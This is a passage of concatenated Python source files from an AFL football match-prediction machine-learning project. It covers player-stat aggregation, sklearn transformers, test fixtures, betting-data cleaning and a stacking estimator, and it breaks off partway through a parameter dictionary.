"hq2b", "hq3g", "hq3b", "hq4g", "hq4b", "aq1g", "aq1b", "aq2g", "aq2b", "aq3g", "aq3b", "aq4g", "aq4b", "jumper_no_", "umpire_1", "umpire_2", "umpire_3", "umpire_4", "substitute", "group_id", "date", "venue", ], axis=1, ) # Some early matches (1800s) have fully-duplicated rows .drop_duplicates() .set_index("id") .sort_index() ) # There were some weird round-robin rounds in the early days, and it's easier to # drop them rather than figure out how to split up the rounds. player_df = player_df[ ((player_df["year"] != 1897) | (player_df["round_number"] != 15)) & ((player_df["year"] != 1924) | (player_df["round_number"] != 19)) ].sort_values(["player_id", "year", "round_number"]) if prev_match_stats: rename_cols = { col: f"prev_match_{col}" for col in STATS_COLS if col != "player_id" } player_groups = ( player_df[STATS_COLS] .groupby("player_id", group_keys=False) .shift() .assign(player_id=player_df["player_id"]) .rename(columns=rename_cols) .fillna(0) .groupby("player_id", group_keys=False) ) else: player_groups = player_df[STATS_COLS].groupby("player_id", group_keys=False) rolling_stats = player_groups.rolling(window=23).mean() expanding_stats = player_groups.expanding(1).mean() expanding_rolling_stats = ( rolling_stats.fillna(expanding_stats).drop("player_id", axis=1).sort_index() ) brownlow_last_year = ( player_df[["player_id", "year", "brownlow_votes"]] .groupby(["player_id", "year"], group_keys=True) .sum() # Grouping by player to shift by year .groupby(level=0) .shift() .fillna(0) .rename(columns={"brownlow_votes": "last_year_brownlow_votes"}) ) brownlow_df = ( player_df[MATCH_COLS + ["player_id", "playing_for", "player_name"]] .merge(brownlow_last_year, on=["player_id", "year"], how="left") .set_index(player_df.index) ) player_stats = pd.concat( [brownlow_df, expanding_rolling_stats], axis=1, sort=True ).assign(cum_games_played=player_groups.cumcount()) home_stats = ( player_stats[player_stats["playing_for"] == player_stats["home_team"]] .drop(["playing_for"], axis=1) .rename(columns=lambda x: x.replace("home_", "").replace("away_", "oppo_")) .assign(at_home=1) ) away_stats = ( player_stats[player_stats["playing_for"] == player_stats["away_team"]] .drop(["playing_for"], axis=1) .rename(columns=lambda x: x.replace("away_", "").replace("home_", "oppo_")) .assign(at_home=0) ) if not aggregate: # Need to sort df columns, because pandas freaks out if columns are in different order return pd.concat( [ home_stats[home_stats.columns.sort_values()], away_stats[away_stats.columns.sort_values()], ], sort=True, ).drop(["player_name", "match_id"], axis=1) player_aggs = { col: "sum" for col in PREV_MATCH_STATS_COLS + ["last_year_brownlow_votes"] } # Since match stats are the same across player rows, taking the mean # is the easiest way to aggregate them match_aggs = {col: "mean" for col in MATCH_STATS_COLS} aggregations = {**player_aggs, **match_aggs} return ( pd # Need to sort df columns, because pandas freaks out if columns are in different order .concat( [ home_stats[home_stats.columns.sort_values()], away_stats[away_stats.columns.sort_values()], ], sort=True, ) .drop(["player_id", "player_name", "match_id"], axis=1) .groupby(["team", "year", "round_number", "oppo_team"]) .aggregate(aggregations) .reset_index() .drop_duplicates(subset=["team", "year", "round_number"]) .set_index(["team", "year", "round_number"], drop=False) .rename_axis([None, None, None]) ) <file_sep>/src/tests/fixtures/fake_estimator.py """Fixture for dummy estimator and associated data class for use in tests.""" import pandas as pd from sklearn.linear_model import Lasso from sklearn.pipeline import make_pipeline from sklearn.compose import ColumnTransformer from sklearn.preprocessing import OneHotEncoder from kedro.pipeline import Pipeline, node from augury.pipelines.nodes import common from augury.pipelines.match import nodes as match from augury.ml_estimators.base_ml_estimator import BaseMLEstimator from augury.sklearn.preprocessing import ColumnDropper from augury.ml_data import MLData from augury.settings import ( TEAM_NAMES, VENUES, ROUND_TYPES, VALIDATION_YEAR_RANGE, ) # We just using this to set fake data to correct year, so no need to get into # leap days and such YEAR_IN_DAYS = 365 CATEGORY_COLS = ["team", "oppo_team", "venue", "round_type"] PIPELINE = make_pipeline( ColumnDropper(cols_to_drop=["date"]), ColumnTransformer( [ ( "onehotencoder", OneHotEncoder( categories=[TEAM_NAMES, TEAM_NAMES, VENUES, ROUND_TYPES], sparse=False, handle_unknown="ignore", ), CATEGORY_COLS, ) ], remainder="passthrough", ), Lasso(), ) class FakeEstimator(BaseMLEstimator): """Test MLEstimator for use in integration tests.""" def __init__(self, pipeline=PIPELINE, name="fake_estimator"): """Instantiate a FakeEstimator object. Params pipeline: Scikit-learn pipeline. name: Name of the estimator for finding its pickle file and loading it. """ super().__init__(pipeline=pipeline, name=name) class FakeEstimatorData(MLData): """Process data for FakeEstimator.""" def __init__( self, data_set="fake_data", max_year=(VALIDATION_YEAR_RANGE[0] - 1), **kwargs ): """Instantiate a FakeEstimatorData object. Params data_set: Name of the data set to load. max_year: Maximum year (inclusive) for the data set. This lets us load the same data fixture without having worry about whether it has the correct range of years for a given test. """ data_kwargs = { **{ "data_set": data_set, "train_year_range": (max_year,), "test_year_range": (max_year, max_year + 1), }, **kwargs, } super().__init__( **data_kwargs, ) self.max_year = max_year @property def data(self): """Return full data set.""" if self._data.empty: self._data = super().data max_data_year = self._data["year"].max() # If the date range of the data doesn't line up with the year filters # for train/test data, we risk getting empty data sets if self.max_year != max_data_year: max_year_diff = pd.to_timedelta( [(YEAR_IN_DAYS * (self.max_year - max_data_year))] * len(self._data), unit="days", ) self._data.loc[:, "date"] = self._data["date"] + max_year_diff self._data.loc[:, "year"] = self._data["date"].dt.year self._data.set_index( ["team", "year", "round_number"], drop=False, inplace=True ) return self._data def create_fake_pipeline(*_args, **_kwargs): """Create a pipeline for loading and transforming match data for test estimator.""" return Pipeline( [ node(match.clean_match_data, "fake_match_data", "clean_match_data"), node( common.convert_match_rows_to_teammatch_rows, "clean_match_data", "match_data_b", ), node(match.add_out_of_state, "match_data_b", "match_data_c"), node(match.add_travel_distance, "match_data_c", "match_data_d"), node(match.add_result, "match_data_d", "match_data_e"), node(match.add_margin, "match_data_e", "match_data_f"), node( match.add_shifted_team_features( shift_columns=[ "score", "oppo_score", "result", "margin", "team_goals", "team_behinds", ] ), "match_data_f", "match_data_g", ), node(match.add_cum_win_points, "match_data_g", "match_data_h"), node(match.add_win_streak, "match_data_h", "match_data_i"), ] ) def pickle_fake_estimator(): """Save FakeEstimator as a pickle file.""" estimator = FakeEstimator() data = FakeEstimatorData() estimator.fit(*data.train_data) estimator.dump(filepath="src/tests/fixtures/fake_estimator.pkl") <file_sep>/src/augury/types.py """Module for custom static data types.""" from typing import Callable, Tuple, TypeVar, Dict, Any, List, Sequence, Union from datetime import datetime from mypy_extensions import TypedDict import pandas as pd from sklearn.base import BaseEstimator, RegressorMixin, TransformerMixin DataFrameTransformer = Callable[[Union[pd.DataFrame, List[pd.DataFrame]]], pd.DataFrame] YearRange = Union[Tuple[int], Tuple[int, int]] DataReadersParam = Dict[str, Tuple[Callable, Dict[str, Any]]] DataFrameCalculator = Callable[[pd.DataFrame], pd.Series] Calculator = Callable[[Sequence[str]], DataFrameCalculator] CalculatorPair = Tuple[Calculator, List[Sequence[str]]] R = TypeVar("R", BaseEstimator, RegressorMixin) T = TypeVar("T", BaseEstimator, TransformerMixin) BettingData = TypedDict( "BettingData", { "date": datetime, "season": int, "round_number": int, "round": str, "home_team": str, "away_team": str, "home_score": int, "away_score": int, "home_margin": int, "away_margin": int, "home_win_odds": float, "away_win_odds": float, "home_win_paid": float, "away_win_paid": float, "home_line_odds": float, "away_line_odds": float, "home_line_paid": float, "away_line_paid": float, "venue": str, }, ) MLModelDict = TypedDict( "MLModelDict", {"name": str, "data_set": str, "trained_to": int, "prediction_type": str}, ) <file_sep>/src/augury/sklearn/preprocessing.py """Scikit-learn-style transformer classes to put in Scikit-learn pipelines.""" from typing import List, Optional, Type, Union import re from sklearn.base import BaseEstimator, TransformerMixin import pandas as pd import numpy as np from augury.pipelines.nodes.base import _validate_required_columns from augury.types import T MATCH_COLS = ["date", "venue", "round_type"] MATCH_INDEX_COLS = ["year", "round_number"] OPPO_REGEX = re.compile("^oppo_") class CorrelationSelector(BaseEstimator, TransformerMixin): """Transformer for filtering out features that are less correlated with labels.""" def __init__( self, cols_to_keep: List[str] = None, threshold: Optional[float] = None, labels: pd.Series = None, ) -> None: """Instantiate a CorrelationSelector transformer. Params ------ cols_to_keep: List of feature names to always keep in the data set. threshold: Minimum correlation value (exclusive) for keeping a feature. labels: Label values from the training data set for calculating correlations. """ self.threshold = threshold self.labels = pd.Series(dtype="object") if labels is None else labels self._cols_to_keep = [] if cols_to_keep is None else cols_to_keep self._above_threshold_columns = self._cols_to_keep def transform(self, X: pd.DataFrame, _y=None) -> pd.DataFrame: """Filter out features with weak correlation with the labels.""" return X[self._above_threshold_columns] def fit( self, X: pd.DataFrame, y: Optional[Union[pd.Series, np.ndarray]] = None ) -> Type[T]: """Calculate feature/label correlations and save high-correlation features.""" if not any(self.labels) and y is not None: self.labels = ( y if isinstance(y, pd.Series) else pd.Series(y, index=X.index, name="label") ) assert any( self.labels ), "Need labels argument for calculating feature correlations." data_frame = pd.concat([X, self.labels], axis=1).drop(self.cols_to_keep, axis=1) label_correlations = data_frame.corr().fillna(0)[self.labels.name].abs() if self.threshold is None: correlated_columns = data_frame.columns else: correlated_columns = data_frame.columns[label_correlations > self.threshold] self._above_threshold_columns = self.cols_to_keep + [ col for col in correlated_columns if col in X.columns ] return self @property def cols_to_keep(self) -> List[str]: """List columns that never filtered out.""" return self._cols_to_keep @cols_to_keep.setter def cols_to_keep(self, cols_to_keep: List[str]) -> None: """Set the list of columns to always keep. Also resets the overall list of columns to keep to the given list. """ self._cols_to_keep = cols_to_keep self._above_threshold_columns = self._cols_to_keep class TeammatchToMatchConverter(BaseEstimator, TransformerMixin): """Transformer for converting data frames to be organised by match.""" def __init__(self, match_cols=MATCH_COLS): """ Instantiate a TeammatchToMatchConverter transformer. Params ------ match_cols (list of strings, default=["date", "venue", "round_type"]): List of match columns that are team neutral (e.g. round_number, venue). These won't be renamed with 'home_' or 'away_' prefixes. """ self.match_cols = match_cols self._match_cols = list(set(match_cols + MATCH_INDEX_COLS)) def fit(self, _X, _y=None): """Include for consistency with the Scikit-learn interface.""" return self def transform(self, X: pd.DataFrame) -> pd.DataFrame: """Transform data from being organised by team-match to match. This means that input has two rows per match (one row each for home and away teams), and output has one row per match (with separate columns for home and away team data). """ self._validate_required_columns(X) return ( pd.concat( [ self._match_data_frame(X, at_home=True), self._match_data_frame(X, at_home=False), ], axis=1, ) .reset_index() .set_index(["home_team"] + MATCH_INDEX_COLS, drop=False) .rename_axis([None] * (len(MATCH_INDEX_COLS) + 1)) .sort_index() ) def _validate_required_columns(self, data_frame: pd.DataFrame): required_cols: List[str] = ["team", "oppo_team", "at_home"] + self._match_cols _validate_required_columns(required_cols, data_frame.columns) def _match_data_frame( self, data_frame: pd.DataFrame, at_home: bool = True ) -> pd.DataFrame: home_index = "team" if at_home else "oppo_team" away_index = "oppo_team" if at_home else "team" # We drop oppo stats cols, because we end up with both teams' stats per match # when we join home and away teams. We keep 'oppo_team' and add the renamed column # to the index for convenience oppo_stats_cols = [ col for col in data_frame.columns if re.match(OPPO_REGEX, col) and col != "oppo_team" ] return ( data_frame.query(f"at_home == {int(at_home)}") # We index match rows by home_team, year, round_number .rename(columns={home_index: "home_team", away_index: "away_team"}) .drop(["at_home"] + oppo_stats_cols, axis=1) # We add all match cols to the index, because they don't affect the upcoming # concat, and it's easier than creating a third data frame for match cols .set_index(["home_team", "away_team"] + self._match_cols) .rename(columns=self._replace_col_names(at_home)) .sort_index() ) @staticmethod def _replace_col_names(at_home: bool): team_label = "home" if at_home else "away" oppo_label = "away" if at_home else "home" return ( lambda col: col.replace("oppo_", f"{oppo_label}_", 1) if re.match(OPPO_REGEX, col) else f"{team_label}_{col}" ) class ColumnDropper(BaseEstimator, TransformerMixin): """Transformer that drops named columns from data frames.""" def __init__(self, cols_to_drop: List[str] = []): """Instantiate a ColumbnDropper transformer. Params ------ cols_to_drop: List of column names to drop. """ self.cols_to_drop = cols_to_drop def fit(self, _X, y=None): # pylint: disable=unused-argument """Include for consistency with Scikit-learn interface.""" return self def transform( self, X: pd.DataFrame, y=None # pylint: disable=unused-argument ) -> pd.DataFrame: """Drop the given columns from the data.""" return X.drop(self.cols_to_drop, axis=1, errors="ignore") class DataFrameConverter(BaseEstimator, TransformerMixin): """Transformer that converts numpy arrays into DataFrames with named axes. Resulting data frame is assigned named columns and indices per the initial data sets passed to fit/predict. This is mostly for cases when classes from packages convert DataFrames to numpy arrays without asking, and later transformers depend on named indices/columns to work. """ def __init__( self, columns: Optional[Union[List[str], pd.Index]] = None, index: Optional[Union[List[str], pd.Index]] = None, ): """Instantiate a DataFrameConverter transformer. Params ------ columns: List of column names or a pd.Index to assign as columns. index: List of row names or a pd.Index to assign as the index. """ self.columns = columns self.index = index def fit(self, X, y=None): # pylint: disable=unused-argument """Include for consistency with Scikit-learn interface.""" return self def transform(self, X: Union[pd.DataFrame, np.ndarray]): """Convert data into a pandas DataFrame with the given columns and index.""" if self.columns is not None: assert X.shape[1] == len(self.columns), ( f"X must have the same number of columns {X.shape[1]} " f"as self.columns {len(self.columns)}." ) if self.index is not None: assert X.shape[0] == len(self.index), ( f"X must have the same number of rows {X.shape[0]} " f"as indicated by self.index {len(self.index)}." ) return pd.DataFrame(X, columns=self.columns, index=self.index) class TimeStepReshaper(BaseEstimator, TransformerMixin): """Reshapes the sample data matrix. Shape goes from [n_observations, n_features] to [n_observations, n_steps, n_features] (via [n_segments, n_observations / n_segments, n_features]) and returns the 3D matrix for use in a RNN model. """ def __init__( self, n_steps: int = None, are_labels: bool = False, segment_col: int = 0 ): """Initialise TimeStepReshaper object. Params ------ n_steps: Number of steps back in time added to each observation. segment_col: Index of the column with the segment values. are_labels: Whether data are features or labels. """ assert n_steps is not None self.n_steps = n_steps self.are_labels = are_labels self.segment_col = segment_col def fit(self, X, y=None): # pylint: disable=unused-argument """Fit the reshaper to the data.""" return self def transform(self, X): """Reshape data to be three dimensional: observations x time steps x features.""" # Can handle pd.DataFrame or np.Array try: X_values = X.to_numpy() except AttributeError: X_values = X # List of n_segments length, composed of numpy arrays of shape # [n_observations / n_segments, n_features] X_segmented = self._segment_arrays(X_values) time_step_matrices = [self._shift_by_steps(segment) for segment in X_segmented] # Combine segments into 3D data matrix for RNN: # [n_observations - n_steps, n_steps, n_features] return np.concatenate(time_step_matrices) def _segment_arrays(self, X): # Segments don't necessarily have to be equal length, so we're accepting # a list of 2D numpy matrices return [ self._segment(X, segment_value) for segment_value in np.unique(X[:, self.segment_col]) ] def _segment(self, X, segment_value): # If input is labels instead of features, ignore all but last column, # because others are only there for segmenting purposes slice_start = -1 if self.are_labels else 0 # Filter by segment value to get 2D matrix for that segment filter_condition = X[:, self.segment_col] == segment_value return X[filter_condition][:, slice_start:] def _shift_by_steps(self, segment): return ( # Shift individual segment by time steps to: # [n_steps, n_observations - n_steps, n_features] np.array( [ np.concatenate( ( # We fill in past steps that precede available data # with zeros in order to preserve data shape np.zeros([self.n_steps - step_n, segment.shape[1]]), segment[self.n_steps - step_n :, :], ) ) for step_n in range(self.n_steps) ] ) # Transpose into correct dimension order for RNN: # [n_observations - n_steps, n_steps, n_features] .transpose(1, 0, 2) ) class KerasInputLister(BaseEstimator, TransformerMixin): """Transformer for breaking up features into separate inputs for Keras models.""" def __init__(self, n_inputs=1): self.n_inputs = n_inputs def fit(self, X, y=None): # pylint: disable=unused-argument """Fit the lister to the data.""" return self def transform(self, X, y=None): # pylint: disable=unused-argument """Break up the data into separate inputs for a Keras model.""" return [ X[:, :, n] if n < self.n_inputs - 1 else X[:, :, n:] for n in range(self.n_inputs) ] <file_sep>/src/tests/integration/__init__.py """Integration tests that require external services.""" <file_sep>/src/augury/pipelines/player/__init__.py """Pipeline and nodes for loading and processing player data.""" from .pipeline import create_pipeline <file_sep>/src/tests/unit/pipelines/test_player_pipeline.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring from unittest import TestCase from kedro.pipeline import Pipeline from augury.pipelines.player import create_pipeline class TestPlayerPipeline(TestCase): def test_create_pipeline(self): pipeline = create_pipeline("2000-01-01", "2010-12-31") self.assertIsInstance(pipeline, Pipeline) self.assertTrue(any(pipeline.nodes)) <file_sep>/src/tests/unit/nodes/test_player.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring from unittest import TestCase import os from datetime import time import pandas as pd from faker import Faker import numpy as np import pytz from candystore import CandyStore from tests.helpers import ColumnAssertionMixin from augury.pipelines.player import nodes as player from augury.pipelines.nodes import common from augury.settings import INDEX_COLS, BASE_DIR YEAR_RANGE = (2015, 2016) TEST_DATA_DIR = os.path.join(BASE_DIR, "src/tests/fixtures") FAKE = Faker() class TestPlayer(TestCase, ColumnAssertionMixin): def setUp(self): self.data_frame = CandyStore(seasons=YEAR_RANGE).players() def test_clean_player_data(self): player_data = pd.read_csv( os.path.join(TEST_DATA_DIR, "fitzroy_get_afltables_stats.csv") ) match_data = pd.read_csv( os.path.join(TEST_DATA_DIR, "fitzroy_match_results.csv") ).assign(match_id=lambda df: df.index.values) clean_data = player.clean_player_data(player_data, match_data) self.assertIsInstance(clean_data, pd.DataFrame) required_columns = ["home_team", "away_team", "year", "round_number"] for col in required_columns: self.assertTrue(col in clean_data.columns.values) self.assertEqual(clean_data["date"].dt.tz, pytz.UTC) self.assertFalse((clean_data["date"].dt.time == time()).any()) def test_clean_roster_data(self): roster_data = pd.read_json( os.path.join(TEST_DATA_DIR, "team_rosters.json"), convert_dates=False ) dummy_player_data = ( CandyStore(seasons=YEAR_RANGE) .players() .assign(player_name=lambda df: df["first_name"] + " " + df["surname"]) .drop(["first_name", "surname"], axis=1) .rename(columns={"id": "player_id"}) ) clean_data = player.clean_roster_data(roster_data, dummy_player_data) self.assertIsInstance(clean_data, pd.DataFrame) required_columns = ["home_team", "away_team", "year"] for col in required_columns: self.assertTrue(col in clean_data.columns.values) self.assertEqual(clean_data["date"].dt.tz, pytz.UTC) self.assertFalse((clean_data["date"].dt.time == time()).any()) def test_add_last_year_brownlow_votes(self): valid_data_frame = self.data_frame.rename( columns={"season": "year", "id": "player_id"} ) self._make_column_assertions( column_names=["last_year_brownlow_votes"], req_cols=("player_id", "year", "brownlow_votes"), valid_data_frame=valid_data_frame, feature_function=player.add_last_year_brownlow_votes, col_diff=0, ) def test_add_rolling_player_stats(self): STATS_COLS = [ "player_id", "kicks", "marks", "handballs", "goals", "behinds", "hit_outs", "tackles", "rebounds", "inside_50s", "clearances", "clangers", "frees_for", "frees_against", "contested_possessions", "uncontested_possessions", "contested_marks", "marks_inside_50", "one_percenters", "bounces", "goal_assists", "time_on_ground", ] valid_data_frame = self.data_frame.assign( **{ stats_col: np.random.randint(0, 20, len(self.data_frame)) for stats_col in STATS_COLS } ).rename(columns={"season": "year", "round": "round_number"}) self._make_column_assertions( column_names=[ f"rolling_prev_match_{stats_col}" for stats_col in STATS_COLS if stats_col != "player_id" ], req_cols=STATS_COLS, valid_data_frame=valid_data_frame, feature_function=player.add_rolling_player_stats, col_diff=0, ) def test_add_cum_matches_played(self): valid_data_frame = self.data_frame.assign( player_id=np.random.randint(100, 1000, len(self.data_frame)) ) self._make_column_assertions( column_names=["cum_matches_played"], req_cols=("player_id",), valid_data_frame=valid_data_frame, feature_function=player.add_cum_matches_played, ) def test_aggregate_player_stats_by_team_match(self): stats_col_assignments = { stats_col: np.random.randint(0, 20, len(self.data_frame)) for stats_col in player.PLAYER_STATS_COLS } # Drop 'playing_for', because it gets dropped by PlayerDataStacker, # which comes before PlayerDataAggregator in the pipeline valid_data_frame = ( self.data_frame.loc[ :, [ "first_name", "surname", "round", "season", "home_team", "away_team", "id", "date", "home_score", "away_score", ], ] .assign( **{ **{ "player_name": lambda df: df["first_name"] + " " + df["surname"] }, **stats_col_assignments, } ) .drop(["first_name", "surname"], axis=1) .rename( columns={ "round": "round_number", "season": "year", "id": "player_id", } ) .astype({"player_id": str}) .pipe(common.convert_match_rows_to_teammatch_rows) ) aggregation_func = player.aggregate_player_stats_by_team_match(["sum", "mean"]) transformed_df = aggregation_func(valid_data_frame) self.assertIsInstance(transformed_df, pd.DataFrame) # We drop player_id & player_name, but add new stats cols for each aggregation expected_col_count = ( len(valid_data_frame.columns) - 2 + len(player.PLAYER_STATS_COLS) ) self.assertEqual(expected_col_count, len(transformed_df.columns)) # Match data should remain unchanged (requires a little extra manipulation, # because I can't be bothered to make the score data realistic) for idx, value in enumerate( valid_data_frame.groupby(["team", "year", "round_number"])["score"] .mean() .astype(int) ): self.assertEqual(value, transformed_df["score"].iloc[idx]) for idx, value in enumerate( valid_data_frame.groupby(["team", "year", "round_number"])["oppo_score"] .mean() .astype(int) ): self.assertEqual(value, transformed_df["oppo_score"].iloc[idx]) # Player data should be aggregated, but same sum self.assertEqual( valid_data_frame["rolling_prev_match_kicks"].sum(), transformed_df["rolling_prev_match_kicks_sum"].sum(), ) self._assert_required_columns( req_cols=( INDEX_COLS + player.PLAYER_STATS_COLS + ["oppo_team", "player_id", "player_name", "date"] ), valid_data_frame=valid_data_frame, feature_function=aggregation_func, ) <file_sep>/notebooks/src/data/feature_builder.py import pandas as pd import numpy as np TEAM_LEVEL = 0 YEAR_LEVEL = 1 WIN_POINTS = 4 AVG_SEASON_LENGTH = 23 class FeatureBuilder: def __init__(self, df): self.df = df.copy() wins = (df["score"] > df["oppo_score"]).astype(int) draws = (df["score"] == df["oppo_score"]).astype(int) * 0.5 self._last_week_results = (wins + draws).groupby(level=TEAM_LEVEL).shift() def transform(self): self.add_last_week_score() self.add_season_cum_features() self.add_rolling_features() self.add_ladder_position() self.add_win_streak() # Group by team (not team & year) to get final score from previous season for round 1. # This reduces number of rows that need to be dropped and prevents a 'cold start' # for cumulative features def add_last_week_score(self): self.df.loc[:, "last_week_score"] = self.df.groupby(level=TEAM_LEVEL)[ "score" ].shift() self.df.loc[:, "last_week_oppo_score"] = self.df.groupby(level=TEAM_LEVEL)[ "oppo_score" ].shift() def add_season_cum_features(self, oppo_col=True): self.df.loc[:, "cum_percent"] = self.__cum_percent_col() self.df.loc[:, "cum_win_points"] = self.__cum_win_points_col() if oppo_col: self.__add_oppo_col("cum_percent") self.__add_oppo_col("cum_win_points") def add_rolling_features(self, oppo_col=True): self.df.loc[:, "rolling_pred_win_rate"] = self.__rolling_pred_win_rate_col() self.df.loc[ :, "rolling_last_week_win_rate" ] = self.__rolling_last_week_win_rate_col() if oppo_col: self.__add_oppo_col("rolling_pred_win_rate") self.__add_oppo_col("rolling_last_week_win_rate") def add_ladder_position(self, oppo_col=True): if "cum_win_points" or "cum_percent" not in self.df.columns: self.add_season_cum_features(oppo_col=oppo_col) self.df.loc[:, "ladder_position"] = self.__ladder_position_col() if oppo_col: self.__add_oppo_col("ladder_position") def add_win_streak(self, oppo_col=True): self.df.loc[:, "win_streak"] = self.__win_streak_col() if oppo_col: self.__add_oppo_col("win_streak") def __cum_percent_col(self): if "last_week_score" or "last_week_oppo_score" not in self.df.columns: self.add_last_week_score() return self.__cum_col(self.df["last_week_score"]) / self.__cum_col( self.df["last_week_oppo_score"] ) def __cum_win_points_col(self): return self.__cum_col(self._last_week_results * WIN_POINTS) def __rolling_pred_win_rate_col(self): predicted_results = self.df["line_odds"] < 0 + (self.df["line_odds"] == 0 * 0.5) return self.__rolling_col(predicted_results) def __rolling_last_week_win_rate_col(self): last_week_results = self._last_week_results return self.__rolling_col(last_week_results) def __ladder_position_col(self): # Pivot to get round-by-round match points and cumulative percent ladder_pivot_table = self.df[["cum_win_points", "cum_percent"]].pivot_table( index=["year", "round_number"], values=["cum_win_points", "cum_percent"], columns="team", aggfunc={"cum_win_points": np.sum, "cum_percent": np.mean}, ) # To get round-by-round ladder ranks, we sort each round by win points & percent, # then save index numbers ladder_index = [] ladder_values = [] for year_round_idx, round_row in ladder_pivot_table.iterrows(): sorted_row = round_row.unstack(level=TEAM_LEVEL).sort_values( ["cum_win_points", "cum_percent"], ascending=False ) for ladder_idx, team_name in enumerate(sorted_row.index.get_values()): ladder_index.append(tuple([team_name, *year_round_idx])) ladder_values.append(ladder_idx + 1) ladder_multi_index = pd.MultiIndex.from_tuples( ladder_index, names=("team", "year", "round_number") ) return pd.Series( ladder_values, index=ladder_multi_index, name="ladder_position" ) # Calculate win/loss streaks. Positive result (win or draw) adds 1 (or 0.5); # negative result subtracts 1. Changes in direction (i.e. broken streak) result in # starting at 1 or -1. def __win_streak_col(self): last_week_win_groups = self._last_week_results.groupby( level=TEAM_LEVEL, group_keys=False ) streak_groups = [] for team_group_key, team_group in last_week_win_groups: streaks = [] for idx, result in enumerate(team_group): # 1 represents win, 0.5 represents draw if result > 0: if idx == 0 or streaks[idx - 1] <= 0: streaks.append(result) else: streaks.append(streaks[idx - 1] + result) # 0 represents loss elif result == 0: if idx == 0 or streaks[idx - 1] >= 0: streaks.append(-1) else: streaks.append(streaks[idx - 1] - 1) elif result < 0: raise ValueError( f"No results should be negative, but {result} is at index {idx}" f" of group {team_group_key}" ) else: streaks.append(0) streak_groups.extend(streaks) return pd.Series(streak_groups, index=self.df.index) # Get cumulative stats by team & year @staticmethod def __cum_col(series): return ( series.groupby(level=[TEAM_LEVEL, YEAR_LEVEL]) .cumsum() .rename(f"cum_{series.name}") ) @staticmethod def __rolling_col(series): groups = series.groupby(level=TEAM_LEVEL, group_keys=False) # Using mean season length (23) for rolling window due to a combination of # testing different window values for a previous model and finding 23 to be # a good window for data vis. # Not super scientific, but it works well enough. rolling_win_rate = groups.rolling(window=AVG_SEASON_LENGTH).mean() # Only select rows that are NaNs in rolling series expanding_win_rate = groups.expanding(1).mean()[rolling_win_rate.isna()] return ( pd.concat([rolling_win_rate, expanding_win_rate], join="inner") .dropna() .sort_index() .rename(f"rolling_{series.name}_23") ) def __add_oppo_col(self, col_name): col_translations = {"oppo_team": "team"} # col_translations[col_name] = f'oppo_{col_name}' oppo_col = ( self.df.loc[:, ["year", "round_number", "oppo_team", col_name]] # We switch out oppo_team for team in the index, # then assign feature as oppo_{feature_column} .rename(columns=col_translations) .set_index(["team", "year", "round_number"]) .sort_index() ) self.df.loc[:, f"oppo_{col_name}"] = oppo_col[col_name] return oppo_col[col_name] <file_sep>/requirements.txt # Only contains the dependencies necessary to run the serverless functions. # This reduces the file size deployed to Google Cloud. requests google-cloud-storage==2.2.1 joblib simplejson bottle==0.12.19 gunicorn rollbar # Data packages numpy==1.22.3 pandas==1.4.2 scikit-learn==1.0 xgboost==1.5.2 mlxtend==0.19.0 statsmodels==0.13.2 scipy==1.8.0 tensorflow==2.8.0 scikeras==0.4.1 six~=1.15.0 # Required version for TF 2.4.1 # Kedro packages kedro==0.17.0 gcsfs<2022.4 # Needed to access Google Cloud Storage files fsspec<2022.4 # Needed for DataSet functionality MarkupSafe <2.1.0 # Last version to include 'soft_unicode' Jinja2<3.0.0 # Required version for 'cookiecutter' (a 'kedro' dependency) # Testing/Linting mypy==0.942 # Need mypy due to references to mypy_extensions in production code <file_sep>/src/augury/pipelines/betting/nodes.py """Pipeline nodes for transforming betting data.""" from typing import List import pandas as pd from ..nodes.base import ( _parse_dates, _translate_team_column, _validate_required_columns, _validate_unique_team_index_columns, _filter_out_dodgy_data, _validate_canoncial_team_names, ) def clean_data(betting_data: pd.DataFrame) -> pd.DataFrame: """Clean, translate, and drop data in preparation for ML-specific transformations. Params ------ betting_data (pandas.DataFrame): Raw betting data Returns ------- pandas.DataFrame """ clean_betting_data = ( betting_data.rename(columns={"season": "year", "round": "round_number"}) .pipe( _filter_out_dodgy_data( subset=["year", "round_number", "home_team", "away_team"] ) ) .drop( [ "home_win_paid", "home_line_paid", "away_win_paid", "away_line_paid", "venue", "home_margin", "away_margin", ], axis=1, ) .assign( home_team=_translate_team_column("home_team"), away_team=_translate_team_column("away_team"), date=_parse_dates, ) ) _validate_unique_team_index_columns(clean_betting_data) _validate_canoncial_team_names(clean_betting_data) return clean_betting_data def add_betting_pred_win(data_frame: pd.DataFrame) -> pd.DataFrame: """Add whether a team is predicted to win per the betting odds. Params ------ data_frame (pandas.DataFrame): A data frame with betting data. Returns ------- pandas.DataFrame with a 'betting_pred_win' column """ REQUIRED_COLS: List[str] = [ "win_odds", "oppo_win_odds", "line_odds", "oppo_line_odds", ] _validate_required_columns(REQUIRED_COLS, data_frame.columns) is_favoured = ( (data_frame["win_odds"] < data_frame["oppo_win_odds"]) | (data_frame["line_odds"] < data_frame["oppo_line_odds"]) ).astype(int) odds_are_even = ( (data_frame["win_odds"] == data_frame["oppo_win_odds"]) & (data_frame["line_odds"] == data_frame["oppo_line_odds"]) ).astype(int) # Give half point for predicted draws predicted_results = is_favoured + (odds_are_even * 0.5) return data_frame.assign(betting_pred_win=predicted_results) <file_sep>/src/augury/ml_estimators/stacking_estimator.py """Class for model trained on all AFL data and its associated data class.""" from typing import Optional, Union, Type import re import numpy as np import pandas as pd from sklearn.base import BaseEstimator from sklearn.pipeline import Pipeline, make_pipeline from sklearn.preprocessing import StandardScaler from sklearn.ensemble import ExtraTreesRegressor from mlxtend.regressor import StackingRegressor from augury.sklearn.preprocessing import ( TeammatchToMatchConverter, DataFrameConverter, ) from augury.sklearn.models import EloRegressor from augury.settings import SEED from augury.types import R from .base_ml_estimator import BaseMLEstimator, BASE_ML_PIPELINE np.random.seed(SEED) LABEL_PARAM_REGEX = re.compile("correlationselector__labels$") BEST_PARAMS = { "min_year": 1965, "ml_pipeline": { "extratreesregressor__max_depth": 45, "extratreesregressor__max_features": 0.9493692952, "extratreesregressor__min_samples_leaf": 2, "extratreesregressor__min_samples_split": 3, "extratreesregressor__n_estimators": 113, "pipeline__correlationselector__threshold": 0.0376827797, }, "elo_pipeline": { "eloregressor__home_ground_advantage": 7, "eloregressor__k": 23.5156358583, "eloregressor__m": 131.54906178, "eloregressor__s": 257.5770727802, "eloregressor__season_carryover": 0.5329064035, "eloregressor__x": 